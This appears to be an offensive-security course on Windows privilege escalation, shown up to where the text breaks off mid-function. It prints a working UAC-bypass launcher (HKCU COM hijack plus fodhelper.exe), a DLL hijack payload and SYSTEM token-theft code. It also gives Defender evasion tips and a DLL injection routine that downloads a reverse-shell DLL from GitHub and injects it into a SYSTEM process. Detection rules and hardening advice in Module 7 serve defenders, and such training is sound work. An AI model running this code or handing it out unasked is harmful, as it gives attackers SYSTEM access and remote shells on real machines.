Python uac_launcher.py — Python wrapper for UAC bypass engagement use
# uac_launcher.py # g3tsyst3m — Module 4 Template # Python orchestration wrapper for UAC bypass — engagement utility # Handles setup, trigger, and cleanup in one script # Requires: pywin32, elevated medium-integrity context import winreg import subprocess import time import sys import os TARGET_CLSID = "{YOUR-CLSID-HERE}" TRIGGER_BINARY = r"C:\Windows\System32\fodhelper.exe" def plant_registry(clsid: str, payload_dll: str) -> bool: key_path = rf"Software\Classes\CLSID\{clsid}\InprocServer32" try: key = winreg.CreateKeyEx( winreg.HKEY_CURRENT_USER, key_path, access=winreg.KEY_WRITE ) winreg.SetValueEx(key, "", 0, winreg.REG_SZ, payload_dll) winreg.SetValueEx(key, "ThreadingModel", 0, winreg.REG_SZ, "Apartment") winreg.CloseKey(key) print(f"[+] Registry planted at HKCU\\{key_path}") return True except PermissionError as e: print(f"[-] Registry write failed: {e}") return False def cleanup_registry(clsid: str): try: winreg.DeleteKeyEx( winreg.HKEY_CURRENT_USER, rf"Software\Classes\CLSID\{clsid}\InprocServer32" ) winreg.DeleteKeyEx( winreg.HKEY_CURRENT_USER, rf"Software\Classes\CLSID\{clsid}" ) print("[+] Registry artifacts cleaned") except Exception as e: print(f"[!] Cleanup warning: {e}") def trigger(binary: str): print(f"[*] Triggering: {binary}") subprocess.Popen(binary, shell=False, creationflags=subprocess.CREATE_NO_WINDOW) time.sleep(3) def main(): if len(sys.argv) < 2: print("Usage: uac_launcher.py <payload.dll>") sys.exit(1) payload = os.path.abspath(sys.argv[1]) print(f"[*] uac_launcher.py — g3tsyst3m") print(f"[*] Payload: {payload}") if not plant_registry(TARGET_CLSID, payload): sys.exit(1) trigger(TRIGGER_BINARY) cleanup_registry(TARGET_CLSID) if __name__ == "__main__": main()

Detection Signatures

  • Security Event 4688 logs process creation with creator process info when process creation auditing is enabled. A UAC bypass via auto-elevation produces a distinctive chain: medium integrity process → fodhelper.exe → high integrity child process.

    Key fields to correlate: Creator Process Name (should be an expected parent for the auto-elevating binary) and Token Elevation Type (%%1937 = full token / elevated, %%1938 = limited). An elevated child spawned from an unexpected parent is high signal.

    💡 Enable: auditpol /set /subcategory:"Process Creation" /success:enable
  • Sysmon Event ID 13 (RegistryEvent — Value Set) captures registry writes when configured to monitor HKCU paths. A COM hijack for UAC bypass always involves writing to HKCU\Software\Classes\CLSID\{guid}\InprocServer32.

    Detection query (Elastic): registry.path: *\\Software\\Classes\\CLSID\\*\\InprocServer32 AND registry.data.strings: *.dll — correlate with subsequent auto-elevating binary execution within a short time window.

  • Sysmon Event ID 7 (ImageLoaded) logs every DLL load when enabled (high volume — filter carefully). A UAC bypass loads a payload DLL from a user-writable path (temp, AppData, etc.) into an elevated process.

    Detection: Image: *\\fodhelper.exe AND ImageLoaded: *\\AppData\\* — an auto-elevating system binary should never load DLLs from user AppData directories.

    ⚠ Sysmon Event 7 generates enormous volume. Use targeted filtering and baseline known-good DLL loads before enabling broadly.
  • Windows Defender has behavioral detections for common UAC bypass patterns including fodhelper, eventvwr, sdclt, and CMSTPLUA-based techniques. The detection fires on the behavioral sequence (registry write + auto-elevating binary + elevated child process) rather than signatures.

    Evasion approaches (for authorized red team use): novel auto-elevating binary targets identified via ProcMon (no existing Defender signature), in-memory COM registration without touching the registry, or tampering with the elevation chain at the API level via hooking.


05
Module Five

Registry and DLL-Based Escalation

// Abusing trust relationships that Windows can't easily revoke

Learning Objectives

  • Understand DLL search order and where hijacking opportunities arise
  • Implement a functional DLL hijack payload in C++
  • Identify phantom DLL hijacking opportunities in common software
  • Recognize registry permission abuse vectors

DLL Search Order Hijacking

Windows resolves DLL names to paths using a predictable search order: the application directory first, then System32, then the Windows directory, then the current working directory, and finally directories listed in the PATH. If an attacker controls any directory earlier in this order than where a legitimate DLL lives, they can plant a malicious DLL that gets loaded instead.

Phantom DLL hijacking targets DLLs that Windows or applications attempt to load but that don't exist on the system — the load fails silently, but if an attacker plants a DLL at a location in the search path, it gets loaded. Process Monitor with a NAME NOT FOUND filter on .dll extensions is the standard tool for finding these opportunities.

  • With SafeDllSearchMode enabled (default since Windows XP SP2), the DLL search order is:

    • The application's own directory
    • The system directory (C:\Windows\System32)
    • The 16-bit system directory (C:\Windows\System)
    • The Windows directory (C:\Windows)
    • The current working directory
    • Directories in the PATH environment variable

    Without SafeDllSearchMode (legacy apps), the current working directory moves to position 2 — a much larger attack surface. Check for this flag: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode.

  • The KnownDLLs registry key (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs) lists DLLs that Windows loads from a protected cache rather than the search path. These DLLs cannot be hijacked via standard search order manipulation.

    Common KnownDLLs: ntdll.dll, kernel32.dll, kernelbase.dll, advapi32.dll, user32.dll, gdi32.dll. Any DLL not on this list is potentially hijackable if it appears in a process's import table and isn't in System32.

    💡 Enumerate the full list: reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
  • Process Monitor is the definitive tool for DLL hijack discovery. The workflow:

    • Open ProcMon as admin → Add filter: Result is NAME NOT FOUND
    • Add filter: Path ends with .dll
    • Add filter: Process Name is target.exe
    • Run the target application and observe failed DLL loads
    • For each failed load, check if the search path directory is user-writable

    A failed load from a writable directory (AppData, temp, or a misconfigured PATH entry) is a confirmed hijack opportunity.

    💡 Automation: procmon /quiet /minimized /backingfile out.pml then parse the PML file programmatically with the ProcMon SDK or a Python parser.
  • If any directory in the system PATH is writable by non-admin users, all processes that fail to load a DLL from earlier positions will attempt to load from the attacker-controlled directory. This is particularly impactful because it affects any process, not just a specific target.

    Check: for %A in ("%path:;="" "%") do icacls "%~A" 2>nul | findstr /i "(M) (W) (F) :users :everyone :authenticated"

    ⚠ Enterprise environments with poorly-maintained application installs are frequent offenders — custom PATH entries added by 3rd party software installers sometimes point to directories in Program Files that weren't locked down properly.
  • Phantom DLLs are DLLs that applications attempt to load but that don't exist on the system. The load silently fails, but if an attacker plants a DLL at a searched location, it gets loaded. These are particularly valuable because they don't require displacing a legitimate DLL.

    Discovery: run ProcMon on a test system → filter for NAME NOT FOUND + .dll extension → for each candidate, verify the DLL doesn't exist anywhere on the system → check if any search path location is writable.

    Common phantom DLL targets appear in older software, legacy APIs, and print/fax subsystems.

  • C:\Windows\Temp is writable by all authenticated users by default (SYSTEM and admins write here frequently). If any privileged process fails to load a DLL and searches C:\Windows\Temp in its path resolution, a DLL planted there will be loaded at that process's privilege level.

    This is rare on properly maintained systems but appears in:

    • Misconfigured installer frameworks that temporarily add Temp to PATH
    • Poorly-written services that set CWD to Temp
    • Installation scripts that run privileged operations from Temp with a writable working directory
    💡 Monitor during software installs: ProcMon during an installer run frequently reveals temporary PATH manipulation and DLL loads from writable locations.

Registry Permission Abuse

Service image paths, autorun values, and COM registrations stored in the registry become escalation vectors when their ACLs allow write access to non-administrative users. This is less common on modern, properly configured systems but appears frequently in legacy enterprise environments and on machines where software has been installed carelessly.

C++ dll_hijack_template.cpp — DLL hijack payload skeleton
// dll_hijack_template.cpp // g3tsyst3m — Module 5 Template // DLL hijack payload — compiles to a DLL, executes payload on load // Build: cl.exe /LD dll_hijack_template.cpp /link /OUT:target.dll // Replace ExecutePayload() with your engagement objective #include <windows.h> #include <stdio.h> // Optional: proxy exports from the legitimate DLL to avoid crashing the host process // Use dll_export_proxy.py (companion script) to auto-generate these stubs void ExecutePayload() { // Replace with engagement payload // Running in the security context of the process that loaded this DLL WinExec("cmd.exe /c whoami > C:\\Windows\\Temp\\hijack_proof.txt", SW_HIDE); } BOOL WINAPI DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) { switch (reason) { case DLL_PROCESS_ATTACH: DisableThreadLibraryCalls(hModule); // Spawn thread to avoid deadlocking the loader lock CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ExecutePayload, NULL, 0, NULL); break; case DLL_PROCESS_DETACH: break; } return TRUE; }
Loader Lock Warning: Never call LoadLibrary, CreateProcess, or other loader-sensitive APIs directly from DllMain. Always spawn a new thread and perform those operations from the thread function to avoid deadlocks.

06
Module Six

Putting It Together — A Full Privesc Chain

// From low-integrity foothold to SYSTEM, documented step by step

Learning Objectives

  • Execute a complete privilege escalation chain from medium integrity to SYSTEM
  • Chain enumeration output directly into exploit selection
  • Document the chain in a format suitable for a pentest report
  • Understand artifact cleanup and operational security

Simulated Engagement Scenario

Starting condition: code execution as a standard domain user, member of local Administrators, running at medium integrity on a Windows 10 22H2 target. No EDR present but Windows Defender is active. Goal: SYSTEM shell.

This module walks through a deliberate, documented chain for learning purposes. On real engagements, each step should be preceded by a detection risk assessment and authorized in writing by the client.

Step 1 — Enumeration

Run local_enum.py from Module 2. Key findings to look for: AlwaysInstallElevated (both hives), unquoted service paths with writable directories, and any credential files. Also run token_inspector.py to confirm current integrity level and identify which dangerous privileges are present or disabled.

Step 2 — UAC Bypass to High Integrity

If the user is a local admin but running at medium integrity, apply the COM hijack technique from Module 4 to spawn a high-integrity process. Confirm the elevated context by re-running token_inspector.py and verifying integrity level is now High.

Step 3 — Token Abuse to SYSTEM

From the high-integrity context, apply token_dup.cpp from Module 3 to duplicate the SYSTEM token from winlogon.exe and spawn a cmd.exe as SYSTEM. Alternatively, if SeImpersonatePrivilege is available, apply the appropriate potato variant for the target OS version.

Step 4 — Cleanup and Reporting

Remove all planted registry keys, delete any temporary DLL payloads, and restore any modified service configurations. Document each step with timestamped screenshots or command output. A well-documented privilege escalation finding in a report includes: starting context, technique applied, root cause, evidence, and remediation recommendation.

  • After a privilege escalation chain involving registry modifications (especially COM hijacks and service path changes), a clean engagement leaves no persistence artifacts. Work through this checklist before declaring the host clean:

    • Remove all HKCU\Software\Classes\CLSID entries planted during the engagement
    • Restore any service ImagePath values that were modified
    • Delete AlwaysInstallElevated keys if you set them for testing
    • Remove any Run/RunOnce autorun entries added for testing
    • Verify with reg query that keys are actually gone (not just logically deleted)
    ⚠ On real engagements, document every registry change before making it and restore immediately after proving the finding. Never leave modified service configs that could crash the host after your session ends.
  • After a privilege escalation chain, review what was logged before handing back the system. Key sources to check:

    • Security log 4688: Every process we spawned is logged with parent/child relationship
    • Security log 4698/4702: Scheduled task creation/modification if we touched tasks
    • System log 7045: New service installation if we registered a service
    • Sysmon 1, 7, 11, 12, 13: Process, DLL, file, and registry events

    On authorized engagements, you generally do NOT clear logs — document what was generated and include it in the report as evidence of detection opportunities.

  • A privilege escalation finding in a pentest report needs five components:

    • Title: Concise, specific (e.g., 'UAC Bypass via COM Object Hijacking — fodhelper.exe')
    • Severity: CVSS score or qualitative rating with justification
    • Description: What the vulnerability is and why it exists
    • Evidence: Screenshots, command output, or log excerpts proving exploitation
    • Recommendation: Specific, actionable remediation steps
    💡 Avoid vague recommendations like 'fix permissions'. Write specific steps: 'Remove WRITE_DAC from Authenticated Users on C:\Program Files\VulnApp\ and set icacls inheritance from the parent directory.'
  • Most enterprise clients expect MITRE ATT&CK mapping in pentest deliverables. For a complete foothold → SYSTEM chain, the ATT&CK coverage looks like:

    • T1082 — System Information Discovery (enumeration phase)
    • T1083 — File and Directory Discovery (binary/path enumeration)
    • T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control
    • T1134.001 — Access Token Manipulation: Token Impersonation/Theft
    • T1574.001 — Hijack Execution Flow: DLL Search Order Hijacking
    • T1012 — Query Registry
    • T1112 — Modify Registry
    💡 Use the MITRE ATT&CK Navigator (attack.mitre.org/matrices/enterprise/) to generate a visual heatmap of techniques used — clients love including it in their board-level summaries.

07
Module Seven

The Defender's Perspective

// What does this look like on the other side?

Learning Objectives

  • Map each module's techniques to event log signatures
  • Write detection logic for the techniques covered in this course
  • Understand what a SOC analyst sees when these attacks occur
  • Build Sysmon and Elastic detection rules for the covered techniques

ETW and Event Log Coverage by Technique

Technique Event Source Event ID Key Indicator
Token Duplication Security 4688 Creator PID ≠ expected parent; integrity level mismatch
UAC COM Hijack Sysmon 13 HKCU\Software\Classes\CLSID write followed by auto-elevate binary launch
DLL Hijack Sysmon 7 DLL loaded from non-standard or user-writable path
fodhelper Bypass Sysmon 1 fodhelper.exe spawning unexpected child process
AlwaysInstallElevated Security / AppLocker 4697 MSI install as SYSTEM from user context
Unquoted Service Path System 7045 / 7000 Service binary path contains spaces, binary in unexpected location

Elastic ES|QL Detection Rules

The following detection logic targets the UAC COM hijack pattern specifically — the highest-signal technique from this course given its registry footprint.

ES|QL Elastic — UAC COM Hijack via HKCU CLSID write + auto-elevate trigger
// Elastic Security ES|QL Detection Rule // UAC Bypass via HKCU COM Object Hijack // Correlates registry write to HKCU\Software\Classes\CLSID // followed by execution of a known auto-elevating binary FROM logs-endpoint*, logs-windows.sysmon_operational-* | WHERE event.category == "registry" AND registry.path LIKE "HKEY_USERS\\*\\Software\\Classes\\CLSID\\*\\InprocServer32" AND registry.data.strings IS NOT NULL | EVAL registry_write_time = @timestamp, writer_pid = process.pid | LOOKUP JOIN logs-endpoint* ON process.parent.pid == writer_pid AND event.category == "process" AND process.name IN ( "fodhelper.exe", "eventvwr.exe", "sdclt.exe", "computerdefaults.exe", "wsreset.exe" ) AND @timestamp BETWEEN registry_write_time AND registry_write_time + 30 seconds | WHERE process.name IS NOT NULL | KEEP @timestamp, host.name, user.name, registry.path, registry.data.strings, process.name, process.pid, process.parent.name | SORT @timestamp DESC

Defensive Recommendations by Technique

  • Sysmon (System Monitor) from Sysinternals provides granular telemetry that Windows event logs don't capture by default. The SwiftOnSecurity config (github.com/SwiftOnSecurity/sysmon-config) is a well-maintained, production-ready baseline that covers the most important events without generating unmanageable volume.

    Key event IDs enabled by the baseline: 1 (process create), 3 (network connect), 7 (DLL load — filtered), 10 (process access), 11 (file create), 12/13 (registry events), 22 (DNS query).

    💡 Deploy via GPO: push sysmon64.exe and the config XML to all endpoints, install with sysmon64.exe -accepteula -i sysmonconfig.xml. Updates are non-disruptive: sysmon64.exe -c newconfig.xml.
  • Enable SACL-based auditing on the HKCU COM registration path to generate Security event 4657 (registry value modified) whenever a COM hijack is planted. Configure via Group Policy: Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy → Object Access → Audit Registry.

    Add a SACL to the key: HKEY_USERS\*\Software\Classes\CLSID — audit Set Value for Everyone. The resulting 4657 events combined with a subsequent auto-elevating binary execution make a high-confidence detection.

  • Setting UAC to 'Always Notify' (the highest setting) disables the auto-elevation mechanism that all UAC bypass techniques depend on. Every elevation requires an explicit user consent prompt — there is no auto-elevate path for the attacker to abuse.

    Configure via GPO: Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode → Prompt for credentials on the secure desktop.

    ⚠ This significantly increases friction for administrators who perform frequent privileged operations. Evaluate user experience impact before deploying broadly — dedicated admin workstations (PAWs) are a better long-term architecture.
  • Sysinternals AccessChk automates the process of finding services with misconfigured permissions. Run quarterly as part of a vulnerability management cycle, especially after new software installations.

    Key commands:

    • accesschk.exe -uwcqv "Authenticated Users" * — services writable by any authenticated user
    • accesschk.exe -uwdq "C:\Program Files" — directories writable by standard users
    • accesschk.exe -uwks "Authenticated Users" HKLM\System\CurrentControlSet\Services — registry-level service key permissions
  • Credential Guard uses Hyper-V virtualization to isolate LSASS credential material in a protected virtual trust level (VTL 1) that even SYSTEM cannot access directly. NTLM hashes and Kerberos TGTs are protected from sekurlsa::logonpasswords-style extraction.

    Requirements: 64-bit Windows 10/11 Enterprise or Server 2016+, UEFI with Secure Boot, Hyper-V enabled. Enable via GPO: Computer Configuration → Administrative Templates → System → Device Guard → Turn On Virtualization Based Security.

    💡 Credential Guard does not protect against golden ticket attacks (if the KDC is compromised) or against attacks that operate via legitimate Kerberos flows. It specifically closes the LSASS dump attack path.
  • Any directory in the system PATH that non-admin users can write to is a persistent DLL hijack risk. Run this audit after every software installation that modifies PATH:

    for %A in ("%path:;="" "%") do icacls "%~A" 2>nul | findstr /i "(M) (W) (F)"

    For any finding, correct the permissions: icacls "C:\vuln\path" /inheritance:r /grant:r "BUILTIN\Administrators:(F)" "NT AUTHORITY\SYSTEM:(F)" — removes inherited permissions and sets explicit admin-only control.

  • SeImpersonatePrivilege is the prerequisite for all potato-family attacks. By default it's granted to LOCAL SERVICE, NETWORK SERVICE, and IIS/MSSQL service accounts. It should never be granted to interactive user accounts or development accounts.

    Audit who has it: whoami /priv from each service account context, or use Get-LocalGroupMember to inspect group membership that grants the privilege. Remove it from any account that doesn't explicitly need to perform server-side impersonation.

    💡 If removing the privilege breaks an application, investigate why it needs impersonation — it may indicate a design flaw that should be addressed architecturally rather than just accepted.
  • ASR rules are policy-based mitigations that block specific attack behaviors regardless of AV signature state. Relevant rules for the techniques in this course:

    • 75668C1F-... — Block Office applications from creating child processes
    • D4F940AB-... — Block all Office applications from creating child processes
    • 92E97FA1-... — Block Win32 API calls from Office macros
    • BE9BA2D9-... — Block executable content from email client and webmail

    Enable via GPO or Intune: Computer Configuration → Administrative Templates → Windows Components → Microsoft Defender Antivirus → Microsoft Defender Exploit Guard → Attack Surface Reduction.

    ⚠ Always deploy ASR rules in Audit mode first (AuditMode=2) and review the generated events before switching to Block mode — false positives can break legitimate applications.
Course Complete. You now understand the full Windows privilege escalation lifecycle — from security model fundamentals through exploitation to detection and defense. The code templates in this course are provided for educational lab use. Apply them only in authorized environments.

Final Exam // Applied Privilege Escalation

ElevationStation — Building a Real-World Privesc Tool

ElevationStation is g3tsyst3m's own privilege escalation toolkit, built from scratch to understand how Metasploit's getsystem actually works. This four-part series walks through token management, primary token theft, thread-level impersonation, and DLL injection — all the techniques from Modules 1–7 applied to a single working tool. Click each question to reveal the answer. Study the source. Then build your own.

Part 1

Concepts, Token Management & Enabling Privileges

Part 1 establishes the conceptual foundation — what drives ElevationStation, how Windows tokens work at a high level, and the setProcessPrivs() routine that every escalation technique in the tool depends on. If this function fails, nothing else works.

✓ Reverse-engineering Metasploit's getsystem via Windows token manipulation

ElevationStation was born from wanting to understand how Metasploit's getsystem command actually works under the hood. The research path it opened led through Windows API fundamentals, Process Hacker/System Informer usage, UAC bypass techniques, and — most significantly — the differences between CreateProcessAsUser and CreateProcessWithToken when spawning an elevated shell.

The tool implements two primary escalation paths: stealing a primary token from a SYSTEM-level process, and stealing an impersonation thread token and converting it to a primary token. A third DLL injection path is covered in Part 4.

  • Tokens are accessible via the Handles section and Tokens tab in System Informer/Process Hacker
  • Every logged-in user's process list contains both primary and impersonation tokens
  • A process starts with a fixed set of token privileges — you cannot enable one that isn't listed
✓ 4-step chain: LookupPrivilegeValue → TOKEN_PRIVILEGES setup → OpenProcessToken → AdjustTokenPrivileges + ERROR_NOT_ALL_ASSIGNED check
C++ setProcessPrivs() — ElevationStation Part 1 — exact source
// setProcessPrivs — enables a named privilege on the current process token // Called before any operation that requires elevated API access void setProcessPrivs(LPCWSTR privname) { TOKEN_PRIVILEGES tp; LUID luid; HANDLE pToken; // Step 1: translate privilege name string → internal LUID // e.g. SE_DEBUG_NAME → L"SeDebugPrivilege" if (!LookupPrivilegeValue(NULL, privname, &luid)) { printf("[!] LookupPrivilegeValue error: %u ", GetLastError()); exit(0); } // Step 2: populate the TOKEN_PRIVILEGES struct — 1 privilege, SE_PRIVILEGE_ENABLED tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Step 3: open OUR OWN process token with TOKEN_ADJUST_PRIVILEGES access OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &pToken); // Step 4: apply the privilege change to our token AdjustTokenPrivileges(pToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL); // CRITICAL: AdjustTokenPrivileges returns TRUE even on partial failure! // Always check GetLastError() afterward. if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("[!] Privilege not present in token — can't enable what doesn't exist "); exit(0); } printf("[+] Privilege: %ws added successfully!!! ", privname); CloseHandle(pToken); }
  • LookupPrivilegeValue converts the string name to a LUID — the OS's internal numeric ID for that privilege
  • OpenProcessToken(GetCurrentProcess(), ...) — we're adjusting our own process token, not a remote one
  • AdjustTokenPrivileges can only enable or disable privileges — it cannot add ones that aren't already in the token
  • The ERROR_NOT_ALL_ASSIGNED check is mandatory — the function returns success even when it silently fails to set the privilege
✓ The privilege isn't present in the admin token at all — you must steal it from a SYSTEM process

Each process token contains a fixed list of privileges — some enabled, some disabled. AdjustTokenPrivileges can toggle between enabled and disabled, but it cannot add a privilege that isn't in the list. SE_ASSIGNPRIMARYTOKEN_NAME simply doesn't appear in a standard elevated admin token, so there's no way to enable it through normal means.

ElevationStation's solution (Part 3) is to steal the impersonation token from a SYSTEM process — which does have that privilege — assign it to the current thread via SetThreadToken, and then call setThreadPrivs(SE_ASSIGNPRIMARYTOKEN_NAME). Now the thread's context has the privilege available, and it can be enabled successfully.

  • CreateProcessAsUser — which lets you spawn a shell in the current console — specifically requires SE_ASSIGNPRIMARYTOKEN_NAME
  • CreateProcessWithToken doesn't require it, but always opens a new separate window — not useful for an interactive shell
  • This catch-22 is what makes Part 3 the most complex and most interesting part of the whole series
Part 2

Primary Token Duplication — Stealing a SYSTEM Shell

Part 2 is the first working escalation technique: open a SYSTEM process, steal its primary token via DuplicateTokenEx, and use CreateProcessWithTokenW to pop a SYSTEM shell. Simple, effective — and limited by one frustrating API constraint.

✓ PROCESS_QUERY_LIMITED_INFORMATION — the minimum needed to open a token handle
C++ DupProcessToken() — Part 2 — OpenProcess + OpenProcessToken
int DupProcessToken(DWORD pid) { // Enable SeDebugPrivilege first so we can open privileged processes setProcessPrivs(SE_DEBUG_NAME); // Open the remote SYSTEM process with the MINIMUM required access. // PROCESS_QUERY_LIMITED_INFORMATION is enough to call OpenProcessToken() on it. proc2 = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); // MAXIMUM_ALLOWED — asks for every access right the caller is permitted to have if (!OpenProcessToken(proc2, MAXIMUM_ALLOWED, &tok2)) { printf("[!] OpenProcessToken error: %d ", GetLastError()); exit(0); } // Duplicate the token as a PRIMARY token — we now own a SYSTEM token if (!DuplicateTokenEx(tok2, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) { wprintf(L"[!] DuplicateTokenEx failed. Error: %d ", GetLastError()); } // elevationstation.exe now OWNS a primary token with SYSTEM privileges! }

PROCESS_QUERY_LIMITED_INFORMATION is the lowest-privilege open flag that still allows calling OpenProcessToken() against a process. Requesting PROCESS_ALL_ACCESS or PROCESS_QUERY_INFORMATION when you don't need them increases the risk of failure against hardened targets.

OpenProcessToken uses MAXIMUM_ALLOWED — this requests every right the caller is entitled to given the current token context, which after enabling SeDebugPrivilege is quite broad against SYSTEM processes.

✓ Creates a full copy of the SYSTEM token owned by our process — TokenPrimary makes it usable for CreateProcessWithTokenW

DuplicateTokenEx creates a new, independent token handle that is an exact replica of the source token including all its privileges, SIDs, and integrity level. The caller owns the new handle — it's not a borrowed reference that could be invalidated when the source process exits.

The TokenPrimary flag (vs. TokenImpersonation) determines how the duplicated token can be used:

  • TokenPrimary — can be passed to CreateProcessWithTokenW or CreateProcessAsUser to spawn a new process running under that identity
  • TokenImpersonation — can be assigned to a thread via SetThreadToken for temporary impersonation, but cannot be used directly with CreateProcess APIs

Part 2 specifies TokenPrimary because the goal is to call CreateProcessWithTokenW. Part 3 first creates an impersonation token for SetThreadToken, then later creates a second primary token from the thread context for CreateProcessAsUser.

✓ It always spawns the child in a new separate window — you cannot get output in the current console

This is the design constraint that makes Part 3 necessary. CreateProcessWithTokenW is easy to use — it has forgiving privilege requirements and produces a working SYSTEM shell — but it always opens the new process in a separate window. There is no flag or option to redirect it to the calling console.

For a red team operator running an interactive shell (e.g., through a C2 session), a SYSTEM shell in a separate window is useless — they can't interact with it. The shell they care about is the one inside their current console session.

The solution in Part 3: use CreateProcessAsUser, which does spawn within the current console context — but it requires SE_ASSIGNPRIMARYTOKEN_NAME, which requires stealing a SYSTEM thread token first. That's the entire motivation for the thread token impersonation chain.

  • CreateProcessWithToken → forgiving privilege requirements, new separate window
  • CreateProcessAsUser → strict privilege requirements, runs in current console ✓
Part 3

Thread Token Impersonation — SYSTEM Shell in the Current Console

Part 3 is the hardest and most rewarding section — Ernie's personal favorite. Instead of opening a new window, this technique impersonates a SYSTEM thread token, uses it to unlock a privilege our admin token doesn't have, then converts everything into a primary token for CreateProcessAsUser. The result: a SYSTEM shell appearing directly inside the current console.

✓ SeDebugPriv → OpenProcess → OpenProcessToken → DuplicateToken → SetThreadToken → setThreadPrivs × 2 → OpenThreadToken → DuplicateTokenEx → CreateProcessAsUser
C++ DupThreadToken() — Part 3 — full token chain from blog source
int DupThreadToken(DWORD pid) { // Step 1: Enable SeDebugPrivilege on our process setProcessPrivs(SE_DEBUG_NAME); // Step 2: Open the remote SYSTEM process remoteproc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid); // Step 3: Open process token — need IMPERSONATE | DUPLICATE | QUERY | ASSIGN_PRIMARY OpenProcessToken(remoteproc, TOKEN_IMPERSONATE | TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &tok2); // Step 4: Duplicate as an IMPERSONATION token (not primary — for SetThreadToken) DuplicateToken(tok2, SecurityImpersonation, &hNewToken); // Step 5: Assign the SYSTEM impersonation token to OUR current thread // NULL = current thread. Our thread now holds SYSTEM privileges! SetThreadToken(NULL, hNewToken); // Step 6: NOW we can enable the privileges we need — they exist in the SYSTEM token // These would fail if called before SetThreadToken setThreadPrivs(SE_INCREASE_QUOTA_NAME); // SeIncreaseQuotaPrivilege setThreadPrivs(SE_ASSIGNPRIMARYTOKEN_NAME); // SeAssignPrimaryTokenPrivilege // Step 7: Open OUR OWN thread token (now SYSTEM-level) with full access OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken); // Step 8: Duplicate it as a PRIMARY token — needed for CreateProcessAsUser DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup); // Step 9: Spawn SYSTEM shell IN THE CURRENT CONSOLE bRet = CreateProcessAsUser(hSystemTokenDup, NULL, wszProcessName, NULL, NULL, TRUE, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &StartupInfo, &ProcInfo); }

The critical insight is that setThreadPrivs is called after SetThreadToken — because those privileges only exist in the SYSTEM token, not in our original admin token. The thread must be running under the SYSTEM context before those privileges become available to enable.

✓ SE_ASSIGNPRIMARYTOKEN_NAME doesn't exist in the admin token — it only becomes available after the thread holds the SYSTEM token

This is the trickiest conceptual point in the entire series. The rule is absolute: you cannot enable a privilege that isn't present in the token. SE_ASSIGNPRIMARYTOKEN_NAME is not listed in a standard elevated admin token at all — not disabled, not present in any form.

The sequence:

  • Before SetThreadToken: thread runs under process primary token → SE_ASSIGNPRIMARYTOKEN_NAME doesn't exist → setThreadPrivs exits immediately with ERROR_NOT_ALL_ASSIGNED
  • After SetThreadToken(NULL, hNewToken): thread now runs under SYSTEM impersonation token → that privilege does exist in the SYSTEM token → setThreadPrivs enables it successfully

This is the elegant core of Part 3's approach: borrow the SYSTEM token temporarily just to unlock the privilege, then use it to create a proper primary token for process spawning. The tool's own description says this part of the research "took the longest to figure out" — and it shows why.

✓ A 64-bit unprotected SYSTEM-level service — stable, long-running, and consistently accessible with SeDebugPrivilege

AppleMobileDeviceService.exe is a background service installed by iTunes/Apple software that runs as NT AUTHORITY\SYSTEM. ElevationStation targets it because it satisfies every requirement for a good injection/token theft target:

  • Always SYSTEM — verified in Process Hacker; it runs as full SYSTEM not LocalService or NetworkService
  • 64-bit — matches ElevationStation's architecture, passing the IsWow64Process check
  • Not PPL-protected — Protected Process Light (PPL) processes resist even SeDebugPrivilege-level access; this one doesn't
  • Stable and persistent — long-running, won't exit mid-operation

winlogon.exe is an equally valid alternative available on every Windows machine. The tool's process enumeration logic lets the user specify any PID, so any qualifying SYSTEM process works.

Part 4 — Finale

DLL Injection — Local Admin to SYSTEM via Remote Thread

The finale brings DLL injection into the picture as a third escalation path. A reverse shell DLL is injected into a SYSTEM process using VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. When the DLL loads, its DLL_PROCESS_ATTACH handler fires and calls back to the attacker on a separate port — as SYSTEM. Then the DLL is cleanly unloaded.

✓ Phase 1: setup + privs + open process handle | Phase 2: architecture check | Phase 3: allocate, write, remote thread
C++ D11Inj3ct0r() — Part 4 — full injection function from blog source
bool D11Inj3ct0r(DWORD pid) { // ── PHASE 1: Setup ────────────────────────────────────────── // Download the reverse shell DLL from GitHub to a writable location WinExec("curl -# -L -o "c:\users\public\mig2.dll" \" ""https://github.com/g3tsyst3m/elevationstation/raw/main/d11inj3ction_files/mig2.dll"", 0); Sleep(3000); // Enable necessary privileges setProcessPrivs(SE_DEBUG_NAME); setProcessPrivs(SE_IMPERSONATE_NAME); HANDLE processHandle; PVOID remoteBuffer; wchar_t dllPath[] = TEXT("C:\Users\public\mig2.dll"); // Open the target SYSTEM process with full access processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // ── PHASE 2: Architecture check ──────────────────────────── // DLL must match process bitness — x64 DLL into x64 process only BOOL bIsWow64 = FALSE; IsWow64Process(processHandle, &bIsWow64); if (bIsWow64) { // TRUE = 32-bit process on 64-bit Windows printf("[!] 32-bit process — incompatible with x64 DLL. Exiting. "); exit(0); } printf("[+] PID %d is 64-bit! ", pid); // ── PHASE 3: Allocate, Write, Execute ────────────────────── // Allocate RW memory in the remote process for the DLL path string remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof 